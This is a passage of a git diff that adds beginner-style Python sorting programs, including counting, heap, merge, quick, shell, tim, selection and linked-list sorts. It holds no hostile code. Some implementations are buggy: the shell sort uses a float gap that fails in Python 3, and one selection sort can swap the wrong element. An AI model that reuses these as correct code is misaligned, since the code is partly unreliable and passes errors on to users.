00000000000..0b3326b563a --- /dev/null +++ b/Sorting Algorithms/Counting-sort.py @@ -0,0 +1,43 @@ +# python program for counting sort (updated) +n = int(input("please give the number of elements\n")) +print("okey now plase enter n numbers seperated by spaces") +tlist = list(map(int, input().split())) +k = max(tlist) +n = len(tlist) + + +def counting_sort(tlist, k, n): + """Counting sort algo with sort in place. + Args: + tlist: target list to sort + k: max value assume known before hand + n: the length of the given list + map info to index of the count list. + Adv: + The count (after cum sum) will hold the actual position of the element in sorted order + Using the above, + + """ + + # Create a count list and using the index to map to the integer in tlist. + count_list = [0] * (k + 1) + + # iterate the tgt_list to put into count list + for i in range(0, n): + count_list[tlist[i]] += 1 + + # Modify count list such that each index of count list is the combined sum of the previous counts + # each index indicate the actual position (or sequence) in the output sequence. + for i in range(1, k + 1): + count_list[i] = count_list[i] + count_list[i - 1] + + flist = [0] * (n) + for i in range(n - 1, -1, -1): + count_list[tlist[i]] = count_list[tlist[i]] - 1 + flist[count_list[tlist[i]]] = tlist[i] + + return flist + + +flist = counting_sort(tlist, k, n) +print(flist) diff --git a/Sorting Algorithms/Cycle Sort.py b/Sorting Algorithms/Cycle Sort.py new file mode 100644 index 00000000000..93e6bd80a36 --- /dev/null +++ b/Sorting Algorithms/Cycle Sort.py @@ -0,0 +1,52 @@ +# Python program to impleament cycle sort + + +def cycleSort(array): + writes = 0 + + # Loop through the array to find cycles to rotate. + for cycleStart in range(0, len(array) - 1): + item = array[cycleStart] + + # Find where to put the item. + pos = cycleStart + for i in range(cycleStart + 1, len(array)): + if array[i] < item: + pos += 1 + + # If the item is already there, this is not a cycle. + if pos == cycleStart: + continue + + # Otherwise, put the item there or right after any duplicates. + while item == array[pos]: + pos += 1 + array[pos], item = item, array[pos] + writes += 1 + + # Rotate the rest of the cycle. + while pos != cycleStart: + # Find where to put the item. + pos = cycleStart + for i in range(cycleStart + 1, len(array)): + if array[i] < item: + pos += 1 + + # Put the item there or right after any duplicates. + while item == array[pos]: + pos += 1 + array[pos], item = item, array[pos] + writes += 1 + + return writes + + +# driver code +arr = [1, 8, 3, 9, 10, 10, 2, 4] +n = len(arr) +cycleSort(arr) + +print("After sort : ") +for i in range(0, n): + print(arr[i], end=" ") +print() # Print a newline diff --git a/Sorting Algorithms/Heap sort.py b/Sorting Algorithms/Heap sort.py new file mode 100644 index 00000000000..6e5a80c3aff --- /dev/null +++ b/Sorting Algorithms/Heap sort.py @@ -0,0 +1,49 @@ +# Python program for implementation of heap Sort + +# To heapify subtree rooted at index i. +# n is size of heap +def heapify(arr, n, i): + largest = i # Initialize largest as root + l = 2 * i + 1 # left = 2*i + 1 + r = 2 * i + 2 # right = 2*i + 2 + + # See if left child of root exists and is + # greater than root + if l < n and arr[i] < arr[l]: + largest = l + + # See if right child of root exists and is + # greater than root + if r < n and arr[largest] < arr[r]: + largest = r + + # Change root, if needed + if largest != i: + arr[i], arr[largest] = arr[largest], arr[i] # swap + + # Heapify the root. + heapify(arr, n, largest) + + +# The main function to sort an array of given size +def heapSort(arr): + n = len(arr) + + # Build a maxheap. + # Since last parent will be at ((n//2)-1) we can start at that location. + for i in range(n // 2 - 1, -1, -1): + heapify(arr, n, i) + + # One by one extract elements + for i in range(n - 1, 0, -1): + arr[i], arr[0] = arr[0], arr[i] # swap + heapify(arr, i, 0) + + +# Driver code to test above +arr = [12, 11, 13, 5, 6, 7] +heapSort(arr) +n = len(arr) +print("Sorted array is") +for i in range(n): + (print("%d" % arr[i]),) diff --git a/Sorting Algorithms/Iterative Merge Sort.py b/Sorting Algorithms/Iterative Merge Sort.py new file mode 100644 index 00000000000..734cf1954c0 --- /dev/null +++ b/Sorting Algorithms/Iterative Merge Sort.py @@ -0,0 +1,81 @@ +# Iterative Merge sort (Bottom Up) + +# Iterative mergesort function to +# sort arr[0...n-1] +def mergeSort(a): + current_size = 1 + + # Outer loop for traversing Each + # sub array of current_size + while current_size < len(a) - 1: + left = 0 + # Inner loop for merge call + # in a sub array + # Each complete Iteration sorts + # the iterating sub array + while left < len(a) - 1: + # mid index = left index of + # sub array + current sub + # array size - 1 + mid = min((left + current_size - 1), (len(a) - 1)) + + # (False result,True result) + # [Condition] Can use current_size + # if 2 * current_size < len(a)-1 + # else len(a)-1 + right = (2 * current_size + left - 1, len(a) - 1)[ + 2 * current_size + left - 1 > len(a) - 1 + ] + + # Merge call for each sub array + merge(a, left, mid, right) + left = left + current_size * 2 + + # Increasing sub array size by + # multiple of 2 + current_size = 2 * current_size + + +# Merge Function +def merge(a, l, m, r): + n1 = m - l + 1 + n2 = r - m + L = [0] * n1 + R = [0] * n2 + for i in range(0, n1): + L[i] = a[l + i] + for i in range(0, n2): + R[i] = a[m + i + 1] + + i, j, k = 0, 0, l + while i < n1 and j < n2: + if L[i] > R[j]: + a[k] = R[j] + j += 1 + else: + a[k] = L[i] + i += 1 + k += 1 + + while i < n1: + a[k] = L[i] + i += 1 + k += 1 + + while j < n2: + a[k] = R[j] + j += 1 + k += 1 + + +# Driver code +a = [12, 11, 13, 5, 6, 7] +print("Given array is ") +print(a) + +mergeSort(a) + +print("Sorted array is ") +print(a) + +# This code is contributed by mohd-mehraj. diff --git a/Sorting Algorithms/Linear_Insertion_Sort.py b/Sorting Algorithms/Linear_Insertion_Sort.py new file mode 100644 index 00000000000..fcaf8dde214 --- /dev/null +++ b/Sorting Algorithms/Linear_Insertion_Sort.py @@ -0,0 +1,21 @@ +def Linear_Search(Test_arr, val): + index = 0 + for i in range(len(Test_arr)): + if val > Test_arr[i]: + index = i + 1 + return index + + +def Insertion_Sort(Test_arr): + for i in range(1, len(Test_arr)): + val = Test_arr[i] + j = Linear_Search(Test_arr[:i], val) + Test_arr.pop(i) + Test_arr.insert(j, val) + return Test_arr + + +if __name__ == "__main__": + Test_list = input("Enter the list of Numbers: ").split() + Test_list = [int(i) for i in Test_list] + print(f"Binary Insertion Sort: {Insertion_Sort(Test_list)}") diff --git a/Sorting Algorithms/Merge Sort.py b/Sorting Algorithms/Merge Sort.py new file mode 100644 index 00000000000..ae4ea350c39 --- /dev/null +++ b/Sorting Algorithms/Merge Sort.py @@ -0,0 +1,78 @@ +# Python program for implementation of MergeSort + +# Merges two subarrays of arr[]. +# First subarray is arr[l..m] +# Second subarray is arr[m+1..r] + + +def merge(arr, l, m, r): + n1 = m - l + 1 + n2 = r - m + + # create temp arrays + L = [0] * (n1) + R = [0] * (n2) + + # Copy data to temp arrays L[] and R[] + for i in range(0, n1): + L[i] = arr[l + i] + + for j in range(0, n2): + R[j] = arr[m + 1 + j] + + # Merge the temp arrays back into arr[l..r] + i = 0 # Initial index of first subarray + j = 0 # Initial index of second subarray + k = l # Initial index of merged subarray + + while i < n1 and j < n2: + if L[i] <= R[j]: + arr[k] = L[i] + i += 1 + else: + arr[k] = R[j] + j += 1 + k += 1 + + # Copy the remaining elements of L[], if there + # are any + while i < n1: + arr[k] = L[i] + i += 1 + k += 1 + + # Copy the remaining elements of R[], if there + # are any + while j < n2: + arr[k] = R[j] + j += 1 + k += 1 + + +# l is for left index and r is right index of the +# sub-array of arr to be sorted + + +def mergeSort(arr, l, r): + if l < r: + # Same as (l+r)//2, but avoids overflow for + # large l and h + m = l + (r - l) // 2 + + # Sort first and second halves + mergeSort(arr, l, m) + mergeSort(arr, m + 1, r) + merge(arr, l, m, r) + + +# Driver code to test above +arr = [12, 11, 13, 5, 6, 7] +n = len(arr) +print("Given array is") +for i in range(n): + (print("%d" % arr[i]),) + +mergeSort(arr, 0, n - 1) +print("\n\nSorted array is") +for i in range(n): + (print("%d" % arr[i]),) diff --git a/Sorting Algorithms/Merge-sort.py b/Sorting Algorithms/Merge-sort.py new file mode 100644 index 00000000000..e9d1167e5d3 --- /dev/null +++ b/Sorting Algorithms/Merge-sort.py @@ -0,0 +1,51 @@ +# merge sort + +lst = [] # declaring list l + +n = int(input("Enter number of elements in the list: ")) # taking value from user + +for i in range(n): + temp = int(input("Enter element" + str(i + 1) + ": ")) + lst.append(temp) + + +def merge(ori_lst, left, mid, right): + L, R = [], [] # PREPARE TWO TEMPORARY LIST TO HOLD ELEMENTS + for i in range(left, mid): # LOADING + L.append(ori_lst[i]) + for i in range(mid, right): # LOADING + R.append(ori_lst[i]) + base = left # FILL ELEMENTS BACK TO ORIGINAL LIST START FROM INDEX LEFT + # EVERY LOOP CHOOSE A SMALLER ELEMENT FROM EITHER LIST + while len(L) > 0 and len(R) > 0: + if L[0] < R[0]: + ori_lst[base] = L[0] + L.remove(L[0]) + else: + ori_lst[base] = R[0] + R.remove(R[0]) + base += 1 + # UNLOAD THE REMAINER + while len(L) > 0: + ori_lst[base] = L[0] + L.remove(L[0]) + base += 1 + while len(R) > 0: + ori_lst[base] = R[0] + R.remove(R[0]) + base += 1 + # ORIGINAL LIST SHOULD BE SORTED FROM INDEX LEFT TO INDEX RIGHT + + +def merge_sort(L, left, right): + if left + 1 >= right: # ESCAPE CONDITION + return + mid = left + (right - left) // 2 + merge_sort(L, left, mid) # LEFT + merge_sort(L, mid, right) # RIGHT + merge(L, left, mid, right) # MERGE + + +print("UNSORTED -> ", lst) +merge_sort(lst, 0, n) +print("SORTED -> ", lst) diff --git a/Sorting Algorithms/Quick sort.py b/Sorting Algorithms/Quick sort.py new file mode 100644 index 00000000000..937f08a7a13 --- /dev/null +++ b/Sorting Algorithms/Quick sort.py @@ -0,0 +1,45 @@ +def partition(arr, low, high): + i = low - 1 # index of smaller element + pivot = arr[high] # pivot + + for j in range(low, high): + # If current element is smaller than or + # equal to pivot + if arr[j] <= pivot: + # increment index of smaller element + i = i + 1 + arr[i], arr[j] = arr[j], arr[i] + + arr[i + 1], arr[high] = arr[high], arr[i + 1] + return i + 1 + + +# The main function that implements QuickSort +# arr[] --> Array to be sorted, +# low --> Starting index, +# high --> Ending index + +# Function to do Quick sort + + +def quickSort(arr, low, high): + if len(arr) == 1: + return arr + if low < high: + # pi is partitioning index, arr[p] is now + # at right place + pi = partition(arr, low, high) + + # Separately sort elements before + # partition and after partition + quickSort(arr, low, pi - 1) + quickSort(arr, pi + 1, high) + + +# Driver code to test above +arr = [10, 7, 8, 9, 1, 5] +n = len(arr) +quickSort(arr, 0, n - 1) +print("Sorted array is:") +for i in range(n): + (print("%d" % arr[i]),) diff --git a/Sorting Algorithms/Shell Sort.py b/Sorting Algorithms/Shell Sort.py new file mode 100644 index 00000000000..74fc4206364 --- /dev/null +++ b/Sorting Algorithms/Shell Sort.py @@ -0,0 +1,45 @@ +# Python program for implementation of Shell Sort + + +def shellSort(arr): + # Start with a big gap, then reduce the gap + n = len(arr) + gap = n / 2 + + # Do a gapped insertion sort for this gap size. + # The first gap elements a[0..gap-1] are already in gapped + # order keep adding one more element until the entire array + # is gap sorted + while gap > 0: + for i in range(gap, n): + # add a[i] to the elements that have been gap sorted + # save a[i] in temp and make a hole at position i + temp = arr[i] + + # shift earlier gap-sorted elements up until the correct + # location for a[i] is found + j = i + while j >= gap and arr[j - gap] > temp: + arr[j] = arr[j - gap] + j -= gap + + # put temp (the original a[i]) in its correct location + arr[j] = temp + gap /= 2 + + +# Driver code to test above +arr = [12, 34, 54, 2, 3] + +n = len(arr) +print("Array before sorting:") +for i in range(n): + (print(arr[i]),) + +shellSort(arr) + +print("\nArray after sorting:") +for i in range(n): + (print(arr[i]),) + +# This code is contributed by mohd-mehraj diff --git a/Sorting Algorithms/Sort the values of first list using second list.py b/Sorting Algorithms/Sort the values of first list using second list.py new file mode 100644 index 00000000000..2212a6b9fda --- /dev/null +++ b/Sorting Algorithms/Sort the values of first list using second list.py @@ -0,0 +1,22 @@ +# one list using +# the other list + + +def sort_list(list1, list2): + zipped_pairs = zip(list2, list1) + + z = [x for _, x in sorted(zipped_pairs)] + + return z + + +# driver code +x = ["a", "b", "c", "d", "e", "f", "g", "h", "i"] +y = [0, 1, 1, 0, 1, 2, 2, 0, 1] + +print(sort_list(x, y)) + +x = ["g", "e", "e", "k", "s", "f", "o", "r", "g", "e", "e", "k", "s"] +y = [0, 1, 1, 0, 1, 2, 2, 0, 1] + +print(sort_list(x, y)) diff --git a/Sorting Algorithms/Sorted_Inserted_Linked_List.py b/Sorting Algorithms/Sorted_Inserted_Linked_List.py new file mode 100644 index 00000000000..4e76c6237ce --- /dev/null +++ b/Sorting Algorithms/Sorted_Inserted_Linked_List.py @@ -0,0 +1,46 @@ +class Node: + def __init__(self, data): + self.data = data + self.next = None + + +class Circular_Linked_List: + def __init__(self): + self.head = None + + def Sorted_Insert(self, new_node): + current = self.head + if current is None: + new_node.next = new_node + self.head = new_node + elif current.data >= new_node.data: + while current.next != self.head: + current = current.next + current.next = new_node + new_node.next = self.head + self.head = new_node + else: + while current.next != self.head and current.next.data < new_node.data: + current = current.next + new_node.next = current.next + current.next = new_node + + def Display(self): + temp = self.head + if self.head is not None: + while temp: + print(temp.data, "->", end=" ") + temp = temp.next + if temp == self.head: + print(temp.data) + break + + +if __name__ == "__main__": + L_list = Circular_Linked_List() + Test_list = [12, 56, 2, 11, 1, 90] + for keys in Test_list: + temp = Node(keys) + L_list.Sorted_Insert(temp) + print("Sorted Inserted Circular Linked List: ") + L_list.Display() diff --git a/Sorting Algorithms/SortingAStringAlphabetically.py b/Sorting Algorithms/SortingAStringAlphabetically.py new file mode 100644 index 00000000000..ff8d82549d1 --- /dev/null +++ b/Sorting Algorithms/SortingAStringAlphabetically.py @@ -0,0 +1,18 @@ +# Program to sort alphabetically the words form a string provided by the user + +my_str = "Hello this Is an Example With cased letters" + +# To take input from the user +# my_str = input("Enter a string: ") + +# breakdown the string into a list of words +words = my_str.split() + +# sort the list +words.sort() + +# display the sorted words + +print("The sorted words are:") +for word in words: + print(word) diff --git a/Sorting Algorithms/Sorting_List.py b/Sorting Algorithms/Sorting_List.py new file mode 100644 index 00000000000..414383b143d --- /dev/null +++ b/Sorting Algorithms/Sorting_List.py @@ -0,0 +1,56 @@ +class Node: + def __init__(self, data): + self.data = data + self.next = None + + +class Linked_List: + def __init__(self): + self.head = None + + def Insert_At_End(self, new_data): + new_node = Node(new_data) + if self.head is None: + self.head = new_node + return + current = self.head + while current.next: + current = current.next + current.next = new_node + + def Sort(self): + temp = self.head + while temp: + minn = temp + after = temp.next + while after: + if minn.data > after.data: + minn = after + after = after.next + key = temp.data + temp.data = minn.data + minn.data = key + temp = temp.next + + def Display(self): + temp = self.head + while temp: + print(temp.data, "->", end=" ") + temp = temp.next + print("None") + + +if __name__ == "__main__": + L_list = Linked_List() + L_list.Insert_At_End(8) + L_list.Insert_At_End(5) + L_list.Insert_At_End(10) + L_list.Insert_At_End(7) + L_list.Insert_At_End(6) + L_list.Insert_At_End(11) + L_list.Insert_At_End(9) + print("Linked List: ") + L_list.Display() + print("Sorted Linked List: ") + L_list.Sort() + L_list.Display() diff --git a/Sorting Algorithms/Tim_sort.py b/Sorting Algorithms/Tim_sort.py new file mode 100644 index 00000000000..80566ee6249 --- /dev/null +++ b/Sorting Algorithms/Tim_sort.py @@ -0,0 +1,121 @@ +"""Author : Mohit Kumar + +Tim Sort implemented in python +Time Complexity : O(n log(n)) +Space Complexity :O(n) + +""" + +# Python3 program to perform TimSort. +RUN = 32 + + +# This function sorts array from left index to +# to right index which is of size atmost RUN +def insertionSort(arr, left, right): + for i in range(left + 1, right + 1): + temp = arr[i] + j = i - 1 + while j >= left and arr[j] > temp: + arr[j + 1] = arr[j] + j -= 1 + + arr[j + 1] = temp + + +# merge function merges the sorted runs +def merge(arr, l, m, r): + # original array is broken in two parts + # left and right array + len1, len2 = m - l + 1, r - m + left, right = [], [] + for i in range(0, len1): + left.append(arr[l + i]) + for i in range(0, len2): + right.append(arr[m + 1 + i]) + + i, j, k = 0, 0, l + # after comparing, we merge those two array + # in larger sub array + while i < len1 and j < len2: + if left[i] <= right[j]: + arr[k] = left[i] + i += 1 + + else: + arr[k] = right[j] + j += 1 + + k += 1 + + # copy remaining elements of left, if any + while i < len1: + arr[k] = left[i] + k += 1 + i += 1 + + # copy remaining element of right, if any + while j < len2: + arr[k] = right[j] + k += 1 + j += 1 + + +# iterative Timsort function to sort the +# array[0...n-1] (similar to merge sort) +def timSort(arr, n): + # Sort individual subarrays of size RUN + for i in range(0, n, RUN): + insertionSort(arr, i, min((i + 31), (n - 1))) + + # start merging from size RUN (or 32). It will merge + # to form size 64, then 128, 256 and so on .... + size = RUN + while size < n: + # pick starting point of left sub array. We + # are going to merge arr[left..left+size-1] + # and arr[left+size, left+2*size-1] + # After every merge, we increase left by 2*size + for left in range(0, n, 2 * size): + # find ending point of left sub array + # mid+1 is starting point of right sub array + mid = left + size - 1 + right = min((left + 2 * size - 1), (n - 1)) + + # merge sub array arr[left.....mid] & + # arr[mid+1....right] + merge(arr, left, mid, right) + + size = 2 * size + + +# utility function to print the Array +def printArray(arr, n): + for i in range(0, n): + print(arr[i], end=" ") + print() + + +if __name__ == "__main__": + n = int(input("Enter size of array\n")) + print("Enter elements of array\n") + + arr = list(map(int, input().split())) + print("Given Array is") + printArray(arr, n) + + timSort(arr, n) + + print("After Sorting Array is") + printArray(arr, n) + +""" + OUTPUT : + + Enter size of array : 5 + Given Array is + 5 3 4 2 1 + After Sorting Array is + 1 2 3 4 5 + +""" diff --git a/Sorting Algorithms/brickSort.py b/Sorting Algorithms/brickSort.py new file mode 100644 index 00000000000..08308d05a5a --- /dev/null +++ b/Sorting Algorithms/brickSort.py @@ -0,0 +1,29 @@ +# Python Program to implement +# Odd-Even / Brick Sort + + +def oddEvenSort(arr, n): + # Initially array is unsorted + isSorted = 0 + while isSorted == 0: + isSorted = 1 + temp = 0 + for i in range(1, n - 1, 2): + if arr[i] > arr[i + 1]: + arr[i], arr[i + 1] = arr[i + 1], arr[i] + isSorted = 0 + + for i in range(0, n - 1, 2): + if arr[i] > arr[i + 1]: + arr[i], arr[i + 1] = arr[i + 1], arr[i] + isSorted = 0 + + return + + +arr = [34, 2, 10, -9] +n = len(arr) + +oddEvenSort(arr, n) +for i in range(0, n): + print(arr[i], end=" ") diff --git a/Sorting Algorithms/bubblesortpgm.py b/Sorting Algorithms/bubblesortpgm.py new file mode 100644 index 00000000000..ee10d030ffb --- /dev/null +++ b/Sorting Algorithms/bubblesortpgm.py @@ -0,0 +1,51 @@ +"""Bubble Sort +Bubble Sort is the simplest sorting algorithm that works by repeatedly swapping the adjacent elements if they are in wrong order. +Example: +First Pass: +( 5 1 4 2 8 ) –> ( 1 5 4 2 8 ), Here, algorithm compares the first two elements, and swaps since 5 > 1. +( 1 5 4 2 8 ) –> ( 1 4 5 2 8 ), Swap since 5 > 4 +( 1 4 5 2 8 ) –> ( 1 4 2 5 8 ), Swap since 5 > 2 +( 1 4 2 5 8 ) –> ( 1 4 2 5 8 ), Now, since these elements are already in order (8 > 5), algorithm does not swap them. + +Second Pass: +( 1 4 2 5 8 ) –> ( 1 4 2 5 8 ) +( 1 4 2 5 8 ) –> ( 1 2 4 5 8 ), Swap since 4 > 2 +( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) +( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) +Now, the array is already sorted, but our algorithm does not know if it is completed. The algorithm needs one whole pass without any swap to know it is sorted. + +Third Pass: +( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) +( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) +( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) +( 1 2 4 5 8 ) –> ( 1 2 4 5 8 )""" + +# Python program for implementation of Bubble Sort + + +def bubbleSort(arr): + n = len(arr) + + # Traverse through all array elements + for i in range(n): + not_swap = True + # Last i elements are already in place + for j in range(0, n - i - 1): + # traverse the array from 0 to n-i-1 + # Swap if the element found is greater + # than the next element + if arr[j] > arr[j + 1]: + arr[j], arr[j + 1] = arr[j + 1], arr[j] + not_swap = False + if not_swap: + break + + +# Driver code to test above +arr = [64, 34, 25, 12, 22, 11, 90] + +bubbleSort(arr) + +print("Sorted array is:") +for i in range(len(arr)): + (print("%d" % arr[i]),) diff --git a/Sorting Algorithms/dual_pivot_quicksort.py b/Sorting Algorithms/dual_pivot_quicksort.py new file mode 100644 index 00000000000..739c2144167 --- /dev/null +++ b/Sorting Algorithms/dual_pivot_quicksort.py @@ -0,0 +1,88 @@ +def dual_pivot_quicksort(arr, low, high): + """ + Performs Dual-Pivot QuickSort on the input array. + + Dual-Pivot QuickSort is an optimized version of QuickSort that uses + two pivot elements to partition the array into three segments in each + recursive call. This improves performance by reducing the number of + recursive calls, making it faster on average than the single-pivot + QuickSort. + + Parameters: + arr (list): The list to be sorted. + low (int): The starting index of the segment to sort. + high (int): The ending index of the segment to sort. + + Returns: + None: Sorts the array in place. + """ + if low < high: + # Partition the array and get the two pivot indices + lp, rp = partition(arr, low, high) + # Recursively sort elements less than pivot1 + dual_pivot_quicksort(arr, low, lp - 1) + # Recursively sort elements between pivot1 and pivot2 + dual_pivot_quicksort(arr, lp + 1, rp - 1) + # Recursively sort elements greater than pivot2 + dual_pivot_quicksort(arr, rp + 1, high) + + +def partition(arr, low, high): + """ + Partitions the array segment defined by low and high using two pivots. + + This function arranges elements into three sections: + - Elements less than pivot1 + - Elements between pivot1 and pivot2 + - Elements greater than pivot2 + + Parameters: + arr (list): The list to partition. + low (int): The starting index of the segment to partition. + high (int): The ending index of the segment to partition. + + Returns: + tuple: Indices of the two pivots in sorted positions (lp, rp). + """ + # Ensure the left pivot is less than or equal to the right pivot + if arr[low] > arr[high]: + arr[low], arr[high] = arr[high], arr[low] + pivot1 = arr[low] # left pivot + pivot2 = arr[high] # right pivot + + # Initialize pointers + i = low + 1 # Pointer to traverse the array + lt = low + 1 # Boundary for elements less than pivot1 + gt = high - 1 # Boundary for elements greater than pivot2 + + # Traverse and partition the array based on the two pivots + while i <= gt: + if arr[i] < pivot1: + arr[i], arr[lt] = ( + arr[lt], + arr[i], + ) # Swap to move smaller elements to the left + lt += 1 + elif arr[i] > pivot2: + arr[i], arr[gt] = ( + arr[gt], + arr[i], + ) # Swap to move larger elements to the right + gt -= 1 + i -= 1 # Decrement i to re-evaluate the swapped element + i += 1 + + # Place the pivots in their correct sorted positions + lt -= 1 + gt += 1 + arr[low], arr[lt] = arr[lt], arr[low] # Place pivot1 at its correct position + arr[high], arr[gt] = arr[gt], arr[high] # Place pivot2 at its correct position + + return lt, gt # Return the indices of the two pivots + + +# Example usage +# Sample Test Case +arr = [24, 8, 42, 75, 29, 77, 38, 57] +dual_pivot_quicksort(arr, 0, len(arr) - 1) +print("Sorted array:", arr) diff --git a/Sorting Algorithms/heap_sort.py b/Sorting Algorithms/heap_sort.py new file mode 100644 index 00000000000..a5bdf46789d --- /dev/null +++ b/Sorting Algorithms/heap_sort.py @@ -0,0 +1,43 @@ +def heapify(nums, heap_size, root_index): + # Assume the index of the largest element is the root index + largest = root_index + left_child = (2 * root_index) + 1 + right_child = (2 * root_index) + 2 + + # If the left child of the root is a valid index, and the element is greater + # than the current largest element, then update the largest element + if left_child < heap_size and nums[left_child] > nums[largest]: + largest = left_child + + # Do the same for the right child of the root + if right_child < heap_size and nums[right_child] > nums[largest]: + largest = right_child + + # If the largest element is no longer the root element, swap them + if largest != root_index: + nums[root_index], nums[largest] = nums[largest], nums[root_index] + # Heapify the new root element to ensure it's the largest + heapify(nums, heap_size, largest) + + +def heap_sort(nums): + n = len(nums) + + # Create a Max Heap from the list + # The 2nd argument of range means we stop at the element before -1 i.e. + # the first element of the list. + # The 3rd argument of range means we iterate backwards, reducing the count + # of i by 1 + for i in range(n, -1, -1): + heapify(nums, n, i) + + # Move the root of the max heap to the end of + for i in range(n - 1, 0, -1): + nums[i], nums[0] = nums[0], nums[i] + heapify(nums, i, 0) + + +# Verify it works +random_list_of_nums = [35, 12, 43, 8, 51] +heap_sort(random_list_of_nums) +print(random_list_of_nums) diff --git a/Sorting Algorithms/insertion_sort.py b/Sorting Algorithms/insertion_sort.py new file mode 100644 index 00000000000..27482a31911 --- /dev/null +++ b/Sorting Algorithms/insertion_sort.py @@ -0,0 +1,19 @@ +def insertion_sort(nums): + # Start on the second element as we assume the first element is sorted + for i in range(1, len(nums)): + item_to_insert = nums[i] + # And keep a reference of the index of the previous element + j = i - 1 + # Move all items of the sorted segment forward if they are larger than + # the item to insert + while j >= 0 and nums[j] > item_to_insert: + nums[j + 1] = nums[j] + j -= 1 + # Insert the item + nums[j + 1] = item_to_insert + + +# Verify it works +random_list_of_nums = [9, 1, 15, 28, 6] +insertion_sort(random_list_of_nums) +print(random_list_of_nums) diff --git a/Sorting Algorithms/merge_sort.py b/Sorting Algorithms/merge_sort.py new file mode 100644 index 00000000000..005b4597509 --- /dev/null +++ b/Sorting Algorithms/merge_sort.py @@ -0,0 +1,60 @@ +def merge(left_list, right_list): + sorted_list = [] + left_list_index = right_list_index = 0 + + # We use the list lengths often, so its handy to make variables + left_list_length, right_list_length = len(left_list), len(right_list) + + for _ in range(left_list_length + right_list_length): + if left_list_index < left_list_length and right_list_index < right_list_length: + # We check which value from the start of each list is smaller + # If the item at the beginning of the left list is smaller, add it + # to the sorted list + if left_list[left_list_index] <= right_list[right_list_index]: + sorted_list.append(left_list[left_list_index]) + left_list_index += 1 + # If the item at the beginning of the right list is smaller, add it + # to the sorted list + else: + sorted_list.append(right_list[right_list_index]) + right_list_index += 1 + + # If we've reached the end of the of the left list, add the elements + # from the right list + elif left_list_index == left_list_length: + sorted_list.append(right_list[right_list_index]) + right_list_index += 1 + # If we've reached the end of the of the right list, add the elements + # from the left list + elif right_list_index == right_list_length: + sorted_list.append(left_list[left_list_index]) + left_list_index += 1 + + return sorted_list + + +def merge_sort(nums): + # If the list is a single element, return it + if len(nums) <= 1: + return nums + + # Use floor division to get midpoint, indices must be integers + mid = len(nums) // 2 + + # Sort and merge each half + left_list = merge_sort(nums[:mid]) + right_list = merge_sort(nums[mid:]) + + # Merge the sorted lists into a new one + return merge(left_list, right_list) + + +# Verify it works +random_list_of_nums = [120, 45, 68, 250, 176] +random_list_of_nums = merge_sort(random_list_of_nums) +print(random_list_of_nums) + +""" +Here merge_sort() function, unlike the previous sorting algorithms, returns a new list that is sorted, rather than sorting the existing list. +Therefore, Merge Sort requires space to create a new list of the same size as the input list +""" diff --git a/Sorting Algorithms/pigeonhole_sort.py b/Sorting Algorithms/pigeonhole_sort.py new file mode 100644 index 00000000000..e3f733481e4 --- /dev/null +++ b/Sorting Algorithms/pigeonhole_sort.py @@ -0,0 +1,31 @@ +# know what is Pigeonhole_principle +# https://www.youtube.com/watch?v=IeTLZPNIPJQ + + +def pigeonhole_sort(a): + # (number of pigeonholes we need) + my_min = min(a) + my_max = max(a) + size = my_max - my_min + 1 + + # total pigeonholes + holes = [0] * size + + # filling up the pigeonholes. + for x in a: + holes[x - my_min] += 1 + + # Put the elements back into the array in order. + i = 0 + for count in range(size): + while holes[count] > 0: + holes[count] -= 1 + a[i] = count + my_min + i += 1 + + +a = [10, 3, 2, 7, 4, 6, 8] + +# list only integers +print(pigeonhole_sort(a)) +print(a) diff --git a/Sorting Algorithms/quick_sort.py b/Sorting Algorithms/quick_sort.py new file mode 100644 index 00000000000..c7cf4616bb4 --- /dev/null +++ b/Sorting Algorithms/quick_sort.py @@ -0,0 +1,41 @@ +def partition(nums, low, high): + # We select the middle element to be the pivot. Some implementations select + # the first element or the last element. Sometimes the median value becomes + # the pivot, or a random one. There are many more strategies that can be + # chosen or created. + pivot = nums[(low + high) // 2] + i = low - 1 + j = high + 1 + while True: + i += 1 + while nums[i] < pivot: + i += 1 + + j -= 1 + while nums[j] > pivot: + j -= 1 + + if i >= j: + return j + + # If an element at i (on the left of the pivot) is larger than the + # element at j (on right right of the pivot), then swap them + nums[i], nums[j] = nums[j], nums[i] + + +def quick_sort(nums): + # Create a helper function that will be called recursively + def _quick_sort(items, low, high): + if low < high: + # This is the index after the pivot, where our lists are split + split_index = partition(items, low, high) + _quick_sort(items, low, split_index) + _quick_sort(items, split_index + 1, high) + + _quick_sort(nums, 0, len(nums) - 1) + + +# Verify it works +random_list_of_nums = [22, 5, 1, 18, 99] +quick_sort(random_list_of_nums) +print(random_list_of_nums) diff --git a/Sorting Algorithms/recursive-quick-sort.py b/Sorting Algorithms/recursive-quick-sort.py new file mode 100644 index 00000000000..3501f89dabc --- /dev/null +++ b/Sorting Algorithms/recursive-quick-sort.py @@ -0,0 +1,9 @@ +def quick_sort(l): + if len(l) <= 1: + return l + else: + return ( + quick_sort([e for e in l[1:] if e <= l[0]]) + + [l[0]] + + quick_sort([e for e in l[1:] if e > l[0]]) + ) diff --git a/Sorting Algorithms/selectionSort.py b/Sorting Algorithms/selectionSort.py new file mode 100644 index 00000000000..75fbafcf79f --- /dev/null +++ b/Sorting Algorithms/selectionSort.py @@ -0,0 +1,27 @@ +list = [] + +N = int(input("Enter The Size Of List")) + +for i in range(0, N): + a = int(input("Enter The number")) + list.append(a) + + +# Let's sort list in ascending order using Selection Sort +# Every time The Element Of List is fetched and the smallest element in remaining list is found and if it comes out +# to be smaller than the element fetched then it is swapped with smallest number. + +for i in range(0, len(list) - 1): + smallest = list[i + 1] + k = 0 + for j in range(i + 1, len(list)): + if list[j] <= smallest: + smallest = list[j] + k = j + + if smallest < list[i]: + temp = list[i] + list[i] = list[k] + list[k] = temp + +print(list) diff --git a/Sorting Algorithms/selection_sort.py b/Sorting Algorithms/selection_sort.py new file mode 100644 index 00000000000..ae8b705e8de --- /dev/null +++ b/Sorting Algorithms/selection_sort.py @@ -0,0 +1,18 @@ +def selection_sort(nums): + # This value of i corresponds to how many values were sorted + for i in range(len(nums)): + # We assume that the first item of the unsorted segment is the smallest + lowest_value_index = i + # This loop iterates over the unsorted items + for j in range(i + 1, len(nums)): + if nums[j] < nums[lowest_value_index]: + lowest_value_index = 